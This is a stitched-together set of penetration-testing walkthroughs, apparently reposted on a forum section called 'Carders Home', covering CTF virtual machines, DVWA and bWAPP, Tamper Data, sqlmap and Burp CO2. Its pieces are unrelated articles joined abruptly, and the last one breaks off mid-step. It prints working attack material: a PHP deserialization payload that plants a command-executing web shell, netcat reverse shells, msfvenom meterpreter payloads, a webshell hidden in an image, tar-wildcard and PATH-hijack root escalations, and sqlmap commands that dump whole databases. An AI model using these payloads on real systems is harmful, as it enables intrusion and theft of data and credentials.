[Image: 6.png?w=687&ssl=1]

As we cannot see anything else on this web page so we opened the page source code. It shows an accessible directory scriptz/php.js in its script content.
[Image: 8.png?w=687&ssl=1]

Now open target IP with /scriptz in the browser, and you will notice some file or scripts are present here. Download both files for further enumeration.
[Image: 9.png?w=687&ssl=1]

So first we open php.js file here we found it is serializing some data and after that, we open log.php.bak which works with the js file for serialization.
Then I search in Google and found Deserialization vulnerabilities in JS
[Image: 10.png?w=687&ssl=1]

Now again returning to our original web page, and click on the link given below of the Pipe image and capture cookies that request in a burp.
[Image: 11.png?w=687&ssl=1]

Select the parameter and send it for decoding in the smart decoder, in the image below red highlighted text is decoded and the result is shown in below window the code which is given in bottom window need to be altered so that we can upload our malicious code.
[Image: 12.png?w=687&ssl=1]

Now modify the param with the following code for remote code execution and then forward the request.
O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:" <?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>";}
1
O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:" <?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>";}
[Image: 13.png?w=687&ssl=1]

Check your shell.php file is uploaded in that accessible directory.
[Image: 14.png?w=687&ssl=1]

Now we have uploaded shell it’s time to open it see what it gives us. As we have executed the code for cmd, we will type cmd in URL as well.
cmd=id
It will dump the id of current user i.e. www-data.
[Image: 15.png?w=687&ssl=1]

Now let’s try to spawn tty shell of the victim’s machine with help of netcat payload: nc 10.0.0.1 1234 -e /bin/bash 192.168.1.107 1234
[Image: 16.png?w=687&ssl=1]

Then start netcat listener and then execute the payload to spawn tty shell of victim’s machine.
nc -lvp 1234
1
nc -lvp 1234
As you can observe we have successfully compromised the target machine and run the following command for gaining root access.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
Then we check for any cronjobs running on the system via cat command we can see a couple of cron jobs running which interest us. In /etc/crontab the script /usr/bin/compress.sh which is world readable now follow the below steps
cat /etc/crontab
cat /usr/bin/compress.sh
1
2
cat /etc/crontab
cat /usr/bin/compress.sh
[Image: 17.png?w=687&ssl=1]

cd /home/rene/backup
ls
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
ls -al /usr/bin/find
touch raj
find raj -exec "/bin/sh" \;
1
2
3
4
5
6
7
8
cd /home/rene/backup
ls
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
ls -al /usr/bin/find
touch raj
find raj -exec "/bin/sh" \;
Yuppie!! We got the root access.
[Image: 18.png?w=687&ssl=1]

At last open, the flag.txt file and we have our flag.
Mission accomplished!
[Image: 19.png?w=687&ssl=1]

[Guide] How to Web Penetration Testing with Tamper Data (Firefox Add-on)

Posted by: NINZA - 04-26-2020, 09:29 AM - Forum: Carders Home - No Replies

Tampering is the way of modifying the request parameters before request submission. Tampering can be achieved by various methods and one of the ways is the through Tamper Data. Tamper data is one of the highly used extensions in Firefox. It allows tampering the data that is sent between the client and the server as well as easy access to GET and POSTING element’s data.
Installing Tamper Data Add-On
Select the menu bar on the right end in Firefox. Click on Add-ons.
[Image: 1.png?w=687]
In the search bar field, search for Tamper Data add-on. Click on Install after installing the add-on, restart the Firefox Browser.
[Image: 2.png?w=687]
Displaying clear text password in Facebook using Tamper Data
Now I am trying to login into my Facebook account and when I typed my password I see the “password in the dotted form” so I wanted to know whether the password typed is correct or not. Click on tools option from the menu bar and select tamper data to capture the request.
[Image: 4.png?w=687]
Pop will get open for tamper data click on start tamper which starts capturing the ongoing request as we know that the username and password typed in the fields go through POST method. Now After that click on the Login button to send the data through the POST method.
[Image: 5.png?w=687]
When the request will send through the browser to the web server a pop up will appear, now hit Tamper, which will start capturing the sending request.
[Image: 6.png?w=687]
Now you can see from the given image on the right half of Tamper Popup window it is showing the email and pass in clear text.
[Image: 7.png?w=687]
HTML Injection – Reflection POST method with Tamper Data
I have installed bWAPP on my wamp server running on localhost. It can be accessed through the browser. Navigate to the login page using URL “localhost/bWAPP/login.php”.
Login into web application server by typing bee: bug as login credential, now choose your bug” html injection-reflected (post)” from the given list of bugs and click on the hack.
[Image: 15.png?w=687]
In given text field enter first name: kunal and last name: bhal.
[Image: 16.png?w=687]
Before clicking Go; again start tamper data to change the field values. After that, we can see the post values and now modify it to change the username of any person.
[Image: 17.png?w=687]
Now click on go and a dialogue box gets opened here click on tamper to capture the request.
[Image: 20.png?w=687]
Here you can read the captured request from the given screenshot which has captured the first and last name kunal:bhal.
[Image: 21.png?w=687]
Tamper data allow you to modify the sent request of any user without his permission, so I am going to change first and the last name given by user into first as the first name and last as the last name and then click on ok to forward the request.
[Image: 22.png?w=687]
Now you can see the request has been forward on the web server.
[Image: 23.png?w=687]
We successfully changed the username of the person; here you can see username to be “first last”. Similarly, you can use other modules with tamper data to exploit bWAPP.
[Image: 24.png?w=687]
File upload using tamper data
Now open the DVWA in your browser with your local IP as 192.168.1.102:81/DVWA and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level medium then select file upload vulnerability
Open the terminal in Kali Linux and create PHP backdoor through the following command
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4444 -f raw
Copy and paste the highlighted code in leafpad and save as with PHP extension as hacked.php.png on the desktop.
Load Metasploit framework type msfconsole and start multi handler.
[Image: 25.png?w=687]
Now click to browse button to browse the hacked.php.png file to upload.
[Image: 26.png?w=687]
Click on tools option from the menu bar and select tamper data to capture the request.
[Image: 27.png?w=687]
Before clicking upload; again start tamper data and then click on upload; when the request will send through the browser to the web server a pop up will appear then, now hit Tamper, which will intercept the sending request.
[Image: 28.png?w=687]
From the given image, you can see tamper data has captured the POST request now copy the selected data from POST DATA.
[Image: 29.png?w=687]
Paste POST DATA in a text file to change the extension of our upload. As you can read the name of the file is hack.php.png but we want to upload a PHP file.
[Image: 30.png?w=687]
Now modify pasted POST DATA hacked.php.png into hacked.php then select and copy the complete data.
[Image: 31.png?w=687]
Now paste the whole data of text file in the field given for POST DATA and click on ok
[Image: 32.png?w=687]
So here we have forward the modified request, now click on stop tamper.
[Image: 33.png?w=687]
From the image, you can see our PHP is uploaded in the uploads directory. Now copy the highlighted path /hackable/uploads/hacked.php where the file is uploaded and run this path
//192.168.1.102:81/DVWA/hackable/uploads/hacked.php
1
//192.168.1.102:81/DVWA/hackable/uploads/hacked.php
in URL to execute it.
[Image: 35.png?w=687]
You will get victim reverse connection on metasploit.
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.103
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
meterpreter > sysinfo
1
2
3
4
5
6
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.103
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
meterpreter > sysinfo
I have got a meterpreter session of victim PC
[Image: 36.png?w=687]

A new challenge for all of you guys!
This CTF is all about conquering flags coming across our way as we go further in our penetration testing of this lab. All the flags should be discovered in form of: Country name Flag:[md5 hash]. The network interface of this virtual machine will take it’s IP settings from DHCP.
Download lab from here:

[To see content please register here]

Let’s get started with our first step.
netdiscover
1
netdiscover
From this, we get our target IP.
Target IP: 192.168.0.103
[Image: 1.png?w=687&ssl=1]

Now we will scan it with nmap which will give us all the open ports in a particular lab for further penetration testing.
nmap -p- -A 192.168.0.103
1
nmap -p- -A 192.168.0.103
This result shows that the following ports are open 22, 80, 3129, 3306, 21211 and http proxy is used on port 3129.
[Image: 2.1.png?w=687&ssl=1]

So now let’s proceed with further penetration testing. Firstly we’ll go with ssh on port 22.
ssh 192.168.0.103
1
ssh 192.168.0.103
Ssh revealed a ascii Dragon with some strings and a base64 code written at the bottom. Looking closer you’ll see something written on top AES-ECB.
[Image: 2.png?w=687&ssl=1]

By Google search, we found out that there is a website called aesencryption.net where we can decrypt the base64 code we got in our last result. So we will decrypt that code with the given key in the image by all this process we arrived at our 1st flag i.e ITALY FLAG
[Image: 3.png?w=687&ssl=1]

Ok so now let’s head towards the second flag and for that, we are going to open target IP in the browser as port 80 is also open. Look at that. We got access forbidden. No result.
[Image: 4.png?w=687&ssl=1]

As we opened target IP in browser simultaneously we have captured the cookies through burp suite after setting the manual proxy in the browser. When all this is done, right click on its window where intercepted data is fetched and a kind of action list will put on view further click to send to the repeater.
Look over screenshot below you will find two panels left and right for request and response respectively. In the response window, the highlighted text is our flag.
[Image: 5.png?w=687&ssl=1]

As this code is in base64 so we are going to use HackBar plugin in Mozilla Firefox which is preinstalled or can be easily installed. Whoa decoding the code in it we got another flag which is our second flag i.e. CROATIA FLAG
[Image: 6.png?w=687&ssl=1]

Moving ahead, from our nmap result we got that http-proxy is set on port 3129 so we will set the proxy setting for our target IP with port number 3129 as shown below.
[Image: 7.png?w=687&ssl=1]

Now try opening target IP in a browser and wait for a few seconds like 10 sec. The proxy setting did the trick and website reveals a single page with a changing banner of “WINTER IS COMING” and “ALL MEN MUST DIE”. Some of you may be aware of this but for those who do not know about this. It is Games of Thrones.
[Image: 8.png?w=687&ssl=1]

The site didn’t show much so I used Nikto scanner with a proxy to get some information about it which will be helpful in further testing.
nikto -h 192.168.0.103 –useproxy

[To see content please register here]

1
nikto -h 192.168.0.103 –useproxy

[To see content please register here]

It reveals a WordPress login at /blog.
[Image: 9.png?w=687&ssl=1]

Ok! Now open it in the browser. Great, Games of Thrones notion is confirmed as Seven Kingdoms blog is shown.
Scrolling down in this site you can see that there is an interesting second post which shows ‘I have a message for you’. There is a highlighted option so just try to open it in the browser.
[Image: 10.png?w=687&ssl=1]

Awesome!!!! This reveals a message and a download link for a zip file. Interesting, so go ahead and download it.
[Image: 11.png?w=687&ssl=1]

Unzipping the file shows an image of a man with a bottle of perfume and a base64 encoded string at the bottom.
[Image: 13.png?w=687&ssl=1]

Here we decrypt the code in the hackbar plugin which results in another flag. From this step, we got our third flag i.e. PORTUGAL FLAG
[Image: 14.png?w=687&ssl=1]

Now, returning to the previous site there are several posts which are all useless so just scroll down to see if there is something useful or not and then comes the last post which is of our interest.
‘Protected: the secret chapter ‘
[Image: 15.png?w=687&ssl=1]

Oh! We have to provide a password to get through it. This one took some time and to spare your time I won’t go through my failures,
I have created a dictionary of possible passwords which are nothing but some of the words in this whole page with the help of the following command.
cewl -d 2 -m 5 --proxy_host 192.168.0.103 --proxy_port 3129 -w /root/Desktop/dict.txt

[To see content please register here]

1
cewl -d 2 -m 5 --proxy_host 192.168.0.103 --proxy_port 3129 -w /root/Desktop/dict.txt

[To see content please register here]

From the list we get that password is ‘westerosi’
Using this password we came to another page which revealed another flag in base64 encoded string and below it some kind of images of an actress.
[Image: 17.png?w=687&ssl=1]

Now again decrypt it in and as a result, we have our fourth flag i.e. PARAGUAY FLAG
[Image: 18.png?w=687&ssl=1]

Moving to one level up, from the site we got another message that “the mother_of_dragons has a password which is in right front of your eyes”.
Knowing nothing about the eyes of actress I restored to google to see if I get any clue from there but no such luck.
I looked at the message again and it states ‘password which is in front of your eyes’
That’s the password of mother_of_dragons is ‘in front of your eyes’. But wait a minute where is this password is used.
We have an FTP service running. So let’s try and get through it
ftp 192.168.0.103 21211
ls –al
get .note.txt
exit
cat .note.txt
1
2
3
4
5
ftp 192.168.0.103 21211
ls –al
get .note.txt
exit
cat .note.txt
bingo! Here that password is used. At the bottom result shows that children’s name is used for the password. Again a password but this time it is used for WordPress login which we are going to use in coming steps.
[Image: 19.png?w=687&ssl=1]

Again I googled and found out she doesn’t have any children rather had 3 dragons named Drogon, Rhaegal, and Viserion. So I put all these names into a file along with all possible combinations.
The list is small so by entering each one the desired password could find out.
Password is RhaegalDrogonViserion
[Image: 20.png?w=687&ssl=1]

Apply the credentials for WordPress and we are in!
Looking around the site I found the profile section which reveals the base64 encoded string for mother_of_dragons.
[Image: 21.png?w=687&ssl=1]

Like always decode the base64 code in HackBar and here we have another flag.
This is our fifth flag i.e. THAILAND FLAG
[Image: 22.png?w=687&ssl=1]

Now with only 2 flags left its time for shell access as we have WordPress.
Moving further, firstly make a php code through msfvenom which can be used to get the meterpreter session.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.104 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.104 lport=4444 -f raw
[Image: 23.png?w=687&ssl=1]

Being admin of the site I am able to edit the theme. So I replaced the 404.php code of template in Viking theme with the above-highlighted php code.
[Image: 24.png?w=687&ssl=1]

On the other side to get the meterpreter session open kali terminal and run multi handler. And for that type the following commands.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 4444
exploit
as we have a meterpreter session, now go to shell and type following commands
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

cd /srv/http
ls
1
2
cd /srv/http
ls
it shows a reward_flag.txt file so call it with the cat command
cat reward_flag.txt
As a result, we get a base64 encoded string.
[Image: 25.png?w=687&ssl=1]

Do not worry soon this decoding thing is going to over as we have the sixth flag with this decoding. So, as a result, our sixth flag is MONGOLIA FLAG
[Image: 26.1.png?w=687&ssl=1]

Back to another file in the above list of files i.e. winterfell_messenger . We see its executable and owner is root. So run it with the following command
./winterfell_messenger
cat /root/message.txt
1
2
./winterfell_messenger
cat /root/message.txt
It shows that it’s using the cat command to read a file in the /root directory.
Using strings shows that cat command is being used; however, it’s not using the full path to the program. From this, we come to know that it will search for set PATH to run.
[Image: 26.png?w=687&ssl=1]

Now, we are able to update PATH by using export but first, we need to find out the writable directory and for that, we have used /tmp. In /tmp, we will create an executable file named cat so it can be called by the winterfell_messenger program. This file will be running as root so we will use /bin/bash to call shell and to change the mode. Run the following commands.
echo "/bin/bash" > /tmp/cat
chmod 777 /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
1
2
3
4
echo "/bin/bash" > /tmp/cat
chmod 777 /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
After this step, we are going to update the PATH to remove the /tmp directory we added. For this type the following commands.
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
1
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
Now, we will go to the home directory of http to get the desired file. For that type
cd /srv/http
ls
1
2
cd /srv/http
ls
now call the winterfell_messenger file by using given command.
./winterfell_messenger
id
1
2
./winterfell_messenger
id
[Image: 27.png?w=687&ssl=1]

Now go to root and there we have .flag.txt file.
Now running cat against .flag.txt we get congratulations, a wolf made up of ascii characters and a base64 encoded string at the bottom. Commands are given below.
cd /root
/usr/sbin/cat .flag.txt
1
2
cd /root
/usr/sbin/cat .flag.txt
[Image: 28.png?w=687&ssl=1]

Finally decoding in hackbar reveals the seventh and last flag which is nothing but the SOMALIA FLAG
[Image: 29.png?w=687&ssl=1]

Whoola. We reached at the end and with this job is done. Hope you enjoyed it and obviously, penetration skills are refreshed.

In this tutorial, you will come to across how to perform a SQL injection attack on a login form of any website. There are so many examples related to login form like facebook login; Gmail login; other online accounts which may ask you to submit your information like username and password and then give permission to login your account on that web server. Here we are going to perform SQL injection login form attack on a vulnerable web server application and then fetch the information present inside their database.
Requirement:

Xampp/Wamp Server
bWAPP Lab
Kali Linux: Burp suite, sqlmap tool

Firstly you need to install bWAPP lab in your XAMPP or WAMP server, read the full article from

[To see content please register here]

now open the bWAPP in your pc and log in with following credentials:
Let’s begin!!!
Start service Apache and Mysql in Xampp or Wamp server. Let’s open the localhost address in the browser as I am using 192.168.1.102:81/bWAPP/login.php. Enter user and password as bee and bug respectively.
Set security level low, from list box chooses your bug select SQL-Injection (Login form/Hero) now and click on the hack.
[Image: 1.png?w=687&ssl=1]

A login form gets open where it is asked to submit the credential of a superhero which we don’t know. So I am going to give any random login and password like iron: man, in order to capture the request through burp suite.
[Image: 2.png?w=687&ssl=1]

To capture the request of bWAPP click on the proxy tag then click to inception is on the button, come back to bWAPP and now click to login. Use intercepts highlighted data within sqlmap commands.
[Image: 3.png?w=687&ssl=1]

Now open the terminal of your kali Linux and type following command for the enumeration of databases name.
sqlmap -u

[To see content please register here]

--data="login=iron&password=man&form=submit" --method POST --dbs --batch
1
sqlmap -u

[To see content please register here]

--data="login=iron&password=man&form=submit" --method POST --dbs --batch
[Image: 4.png?w=687&ssl=1]

From enumeration result, we get the information of the bend-end database management system is MYSQL 5.5 and web server operating system is windows with Apache 2.4.7 and PHP 5.5.9 and fetch all names of the database. So if you notice the image given below we have caught all name of databases. Choose any name for fetching more details.
[Image: 5.png?w=687&ssl=1]

Now type the below command which will try to fetch entire data from inside database of bwapp
sqlmap -u

[To see content please register here]

--data="login=iron&password=man&form=submit" --method POST -D bwapp --dump all --batch
1
sqlmap -u

[To see content please register here]

--data="login=iron&password=man&form=submit" --method POST -D bwapp --dump all --batch
[Image: 6.1.png?w=687&ssl=1]

First I found a table “BLOG” which contains four columns but this table appears to be empty as all fields are left blank.
[Image: 6.png?w=687&ssl=1]

Next, I found table “MOVIES” in database bwapp and you can see from the given screenshot it contains movies detail. There are 10 entries in each of the following column.
[Image: 7.png?w=687&ssl=1]

Luckily!!! I have got data which contains id, login, password and secret entries inside the “HEROES” table and maybe this dumped data can help me to bypass the login page of the above web page which we have open in the browser. I will use the login and password later to verify it.
[Image: 8.png?w=687&ssl=1]

Here I found only three entries for table “USERS” inside the bwapp which also contains credential for the admin account.
[Image: 9.png?w=687&ssl=1]

Another empty table “VISITORS” like “blog” table, it is also left blank.
Sqlmap has dumped too much of data from inside the database of bwapp, as you have seen I have got data from a different table, now let’s verify this result. Browse bwapp in localhost again and once again open the login form page inside the bwapp.
[Image: 10.png?w=687&ssl=1]

If you remembered sqlmap has dumped table of “HEROES” which contains login and password now using above fetched data (Thor: Asgard) from inside the table of “heroes” I will use these credential for login.
Now type thor in the text field given for login and then type Asgard as a password. Click on login.
[Image: 15.png?w=687&ssl=1]

Congrats!!! We got successful login and you can read the secret given for Thor which exactly same as inside the “heroes” table.
Conclusion: Through this article, we had learned how to perform an attack on a login form of a web site and retrieve its data from inside the database.
[Image: 16.png?w=687&ssl=1]

This article is about how to scan any target for SQL injection using NMAP and then exploit the target with sqlmap if NMAP finds the target is vulnerable to SQL injection. Now go with this tutorial for more details.
Firstly Type

[To see content please register here]

in URL to browse acunetix web application. Then Click the link given for the URL of Acuart as shown in the screenshot.
[Image: 1.png?w=687&ssl=1]

Here the required web page will get opened; testphp.vulnweb.com is our targeted host and now scans this target using nmap to identifying the possibilities of SQL injection.
[Image: 2.png?w=687&ssl=1]

NMAP has NSE Script for http SQL injection vulnerabilities and scans the web application for SQL injection.
Spiders an HTTP server looking for URLs containing queries vulnerable to an SQL injection attack. It also extracts forms from found websites and tries to identify fields that are vulnerable.
The script spiders an HTTP server looking for URLs containing queries. It then proceeds to combine crafted SQL commands with susceptible URLs in order to obtain errors. The errors are analyzed to see if the URL is vulnerable to attack. This uses the most basic form of SQL injection but anything more complicated is better suited to a standalone tool.
We may not have access to the target web server’s true hostname, which can prevent access to virtually hosted sites.
Now type the following command to scan the target for SQL injection possibilities.
nmap -sV --script=http-sql-injection

[To see content please register here]

–p 80
1
nmap -sV --script=http-sql-injection

[To see content please register here]

–p 80
From the screenshot, you can perceive that it has dumped the possible SQL injection for queries. Now let’s explore this query in the browser.
Note: please remove http:// from resultant queries while browsing.
[Image: 3.png?w=687&ssl=1]

This page contains some message or warning related to some kind of error in the database query. Now let’s try to apply SQL injection using above resultant sqli query of NMAP inside sqlmap and try to figure out whether the result from nmap is correct for SQL injection vulnerability or not.
[Image: 4.png?w=687&ssl=1]

Open the terminal in Kali Linux and type the following command for sqlmap
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider" --dbs --batch
1
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider" --dbs --batch
[Image: 5.png?w=687&ssl=1]

We have got database name from the above resultant sqli query of NMAP inside sqlmap. You can read the database name acuart from the given screenshot.
[Image: 6.png?w=687&ssl=1]

Now try to find out entire data under this URL by typing following command.
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider" -D acuart --dump-all
1
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider" -D acuart --dump-all
[Image: 7.png?w=687&ssl=1]

This will dump all available information inside the database. Now try it by yourself.
[Image: 8.png?w=687&ssl=1]

[Guide] Easy way to Hack Database using Wizard switch in Sqlmap

Posted by: NINZA - 04-26-2020, 09:14 AM - Forum: Carders Home - No Replies

Sqlmap provides wizard options for beginner and saves you much time. So start your Kali Linux and open the terminal and now the following command to use wizard interface of sqlmap.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
1
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
Type 1 for normal; to select the injection difficulty. Now again type 1 for basic enumeration.
[Image: 1.png?w=687&ssl=1]
It will automatically dump the basic detail of the backend server. Here you can see from the given screenshot it is shown that web application technology is nginx, PHP 5.3.10 and the operating system is Linux Ubuntu and many more things.
[Image: 2.png?w=687&ssl=1]
Now change level for penetration testing of the web with the sqlmap wizard. Again type the same command.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
1
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
Type 2 for medium; to select the injection difficulty. Now again type 2 for intermediate enumeration.
[Image: 3.png?w=687&ssl=1]
Wonderful!!! We have got a database name and all table names with columns.
[Image: 4.png?w=687&ssl=1]
Now again change level for penetration testing of the web with the sqlmap wizard. Repeat the same command.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
1
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --wizard
Type 3 for hard; to select the injection difficulty. Now again type 3 for All enumeration.
[Image: 5.png?w=687&ssl=1]
Awesome within three steps we have got entire information of acurat database. You can see the result from the screenshot.
[Image: 6.png?w=687&ssl=1]
Here we have all tables with its field details and column details.
[Image: 7.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “From SQL injection to Shell II” and you can read part 1 from

[To see content please register here]

. This VM is developed by Pentester Lab. You can download it from here:

[To see content please register here]

Install the iso image in VM ware and start it. The task given in this lab is to gain access to administration console and upload PHP webshell.
Level: Intermediate
Penetrating Methodologies

Network Scanning (Nmap)
Vulnerable to Blind Time-Base SQL Injection
Exploiting SQL Injection (SQLMAP)
Hiding web shell inside Image (ExifTool)
Uploading Web shell
Spawning Shell (Netcat)

Walkthrough
The target holds 192.168.1.102 as network IP; now using nmap lets find out open ports.
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

Since port for HTTP is open, so we explored target IP in the web browser and welcome by My Awesome Photoblog web page. It contains some tags: home; test; ruxcon; 2010; all pictures; admin. Click on the test.
[Image: 3.png?w=687&ssl=1]

The given URL:

[To see content please register here]

will run SQL query for ID 1 now let try to find out whether the above URL is vulnerable to SQL injection or not by adding(‘) apostrophe at last of URL:
Unfortunately, this page is not vulnerable to error based SQL injection as the author already mentioned here you will learn “Blind SQL injection exploitation using time-based exploitation Gaining code execution using a PHP webshell”
[Image: 4.png?w=687&ssl=1]

Then I had used acunetix to scan the target which has declared the level of threat is high for blind SQL injection.
Hence it is clear that exploit the target through SQL injection.
[Image: 5.1.png?w=687&ssl=1]

And after little more research work, I found the way to exploit it using sqlmap.
sqlmap -u

[To see content please register here]

--headers=”X-Forwarded-For: *” --dbs --dump-all --batch
1
sqlmap -u

[To see content please register here]

--headers=”X-Forwarded-For: *” --dbs --dump-all --batch
If you remembered the title of the web page was “An Awesome Photoblog” hence name of the database must be a photoblog.
[Image: 5.png?w=687&ssl=1]

Now let’s fetch entire data under photoblog database through the following command:
sqlmap -u

[To see content please register here]

--headers=”X-Forwarded-For: *” -D photoblog --dump-all --batch
1
sqlmap -u

[To see content please register here]

--headers=”X-Forwarded-For: *” -D photoblog --dump-all --batch
[Image: 6.png?w=687&ssl=1]

Now try to use above credential to access administration console, again open target IP: 192.168.1.102 in the browser and click on login tab and type login as admin and password as P4ssw0rd.
Congrats!!! The first task is completed.
Now the last task is to upload PHP webshell. Under administration console, you will see a link Add a new picture to upload an image in this web server. Click on Add a new picture to upload an image.
[Image: 7.png?w=687&ssl=1]

I tried to upload php malicious file using .php extension; double extension .php.jpg; also used case sensitive extension like PHP, pHP but every time failed to upload backdoor and following web page gets open.
[Image: 8.png?w=687&ssl=1]

Then I use ExifTool to bind a malicious php file which will generate a remote code execution vulnerability, once get uploaded. To perform this I downloaded an image “1.png” and copied simple-backdoor.php from this path: /usr/share/webshells/php/ on the desktop for binding it with downloaded image.
[Image: 9.png?w=687&ssl=1]

Now type command for ExifTool to hide malicious code of php file inside the png image.
cd Desktop
exiftool "-comment<= simple-backdoor.php" 1.png
exiftool 1.png
1
2
3
cd Desktop
exiftool "-comment<= simple-backdoor.php" 1.png
exiftool 1.png
As you can observe, the malicious code is hidden inside the image.
[Image: 10.png?w=687&ssl=1]

Now I had browse 1.png to add it as a new image which is our php webshell.
[Image: 11.png?w=687&ssl=1]

Our malicious file successfully uploaded on the web server. You can see a new row is added as webshell php which contains our php backdoor, now click on the backdoor.
[Image: 12.png?w=687&ssl=1]

Yuppie we have uploaded the image with hidden backdoor inside, now try to execute it.
[Image: 13.png?w=687&ssl=1]

After inspecting its source code we found link uploaded image, now let’s try to open it.
[Image: 14.png?w=687&ssl=1]

As we knew the image contain a web shell that will allow remote code execution, therefore, after exploring above enumerated path, I try to get /etc/passwd file.

[To see content please register here]

And you can observe, we have successfully pulled the passwd file successfully, hence now can spawn victim’s shell through it.
[Image: 15.png?w=687&ssl=1]

Let’s run netcat listener in the terminal and execute netcat reverse connection for spawning web shell.
nc -lvp 6666

[To see content please register here]

192.168.1.105 6666 -e /bin/sh
1
2
nc -lvp 6666

[To see content please register here]

192.168.1.105 6666 -e /bin/sh
[Image: 16.png?w=687&ssl=1]

Superb!!! We completed our last challenge also here we have spawned victim web shell.
[Image: 17.png?w=687&ssl=1]

In this article, we are going to perform a SQL injection attack on multiple targets through sqlmap. I had used two buggy web dvwa and Acurat (vulweb.com).
Start dvwa and select SQL injection vulnerability here type user ID and click on submit, now copy the URL.
[Image: 1.png?w=687&ssl=1]

Start kali Linux then create a text file as sql.txt on the desktop which will contain URL for multiple target and past copied URL in a text file. From the screenshot, you can perceive that I had pasted above URL in this text file and save as sql.txt
[Image: 2.png?w=687&ssl=1]

Repeat the same process with different web. Now open the vulnweb.com, here click on URL given for Acuart.
[Image: 3.png?w=687&ssl=1]

Now click on browse categories then click on the poster
[Image: 4.png?w=687&ssl=1]

Now let verify whether the ID is vulnerable to SQL injection or not. Use this apostrophe (‘) at the end of URL as shown in the screenshot. You can see I have received an error message which means the ID is vulnerable to SQL injection. Copy its URL
[Image: 4.png?w=687&ssl=1]

Paste above-copied URL under sql.txt, and save it again. So here I have saved two URL in a text file which means two vulnerable ID of the different web is saved under sql.txt file.
[Image: 6.png?w=687&ssl=1]

Open the terminal and type following command to scan multiple targets through sqlmap for SQL injection.
sqlmap –m /root/Desktop/sql.txt –dbs --batch
1
sqlmap –m /root/Desktop/sql.txt –dbs --batch
[Image: 7.png?w=687&ssl=1]

So here you can see I have got database names for multiple targets. Here I found dvwa under database names.
[Image: 8.png?w=687&ssl=1]

Later I have got another database name acurat. Now try yourself for multiple ID.
[Image: 9.png?w=687&ssl=1]

Burp CO2 is an extension for the popular web proxy/web application testing tool called Burp Suite, available at Portswigger. You must install Burp Suite before installing the Burp CO2 extension. The CO2 extension includes a variety of functionality to enhance certain web penetration test tasks, such as an interface to make interacting with SQLMap more efficient and less error-prone, various tools for generating lists of users, a Laudanum exploitation shell implementation, and even a word masher for generating passwords.
For more details read from here burpco2.com
In this is an article I will show you how to obtain sqlmap command through burp suit for SQL injection.
Start burp suit and click on Extender tag then click on BApp store which contains burp extensions to extend burp’s capabilities.
Now select CO2 and click on install button available on the right side of the frame.
[Image: 1.png?w=687&ssl=1]

From the given screenshot you can see the extension CO2 has added on menu bar now click on CO2 and then choose SQLMapper tool.
[Image: 2.1.png?w=687&ssl=1]

Now open the DVWA in your pc and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerability select SQL Injection for your attack. Type user ID: ‘in the text box. Don’t click on submit button without setting browser proxy. Set your browser proxy to make burp suite work properly.
[Image: 2.png?w=687&ssl=1]

Go to burp suite click on the proxy in the menu bar and go for intercept is on the button. Come back and click on submit button in dvwa. The Intercept button is used to display HTTP and Web Sockets messages that pass between your browser and web servers.
Now right click on its window and you will see a list of many actions will have been opened then select option send to SQLMapper.
[Image: 3.png?w=687&ssl=1]

When the fetched data will be sent to SQL mapper it will automatically itself generates sqlmap command using referrer and cookie.
[Image: 4.png?w=687&ssl=1]

Here you can see the options box at the end of burp suite frame. Now click on enumeration tag and select the checkboxes for database, tables, columns, users, and passwords.
Now copy the sqlmap command from the text field and run this command manually on terminal using sqlmap.
[Image: 5.png?w=687&ssl=1]

Open the terminal and paste above command in front of “sqlmap” as shown in the screenshot. Now run this command to fetch information of the database.
